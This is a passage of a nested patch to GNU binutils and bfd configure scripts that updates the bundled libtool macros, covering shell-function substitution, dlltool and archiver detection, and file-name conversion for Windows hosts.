-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/bfd/configure.ac b/bfd/configure.ac
-index eda38ea086..7cdf9c8146 100644
---- a/bfd/configure.ac
-+++ b/bfd/configure.ac
-@@ -293,7 +293,7 @@ changequote(,)dnl
- x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
- changequote([,])dnl
- if test -n "$x"; then
-- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
-+ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
- fi
-
- # More hacks to build DLLs on Windows.
-diff --git a/binutils/configure b/binutils/configure
-index 38128e146d..c74f797996 100755
---- a/binutils/configure
-+++ b/binutils/configure
-@@ -689,8 +689,11 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
- RANLIB
-+ac_ct_AR
- AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -807,6 +810,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_plugins
- enable_largefile
-@@ -1483,6 +1487,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
- --with-system-zlib use installed libz
- --with-gnu-ld assume the C compiler uses GNU ld default=no
- --with-libiconv-prefix[=DIR] search for libiconv in DIR/include and DIR/lib
-@@ -5457,8 +5463,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5498,7 +5504,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6184,8 +6190,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6234,6 +6240,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6250,6 +6330,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6418,7 +6503,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6572,6 +6658,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6587,9 +6688,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6605,7 +6859,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6625,11 +6879,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6645,7 +6903,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6664,6 +6922,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6675,12 +6937,10 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-
-
-
-@@ -6692,6 +6952,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-+
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-+
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-+
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
- set dummy ${ac_tool_prefix}strip; ac_word=$2
-@@ -7026,8 +7344,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
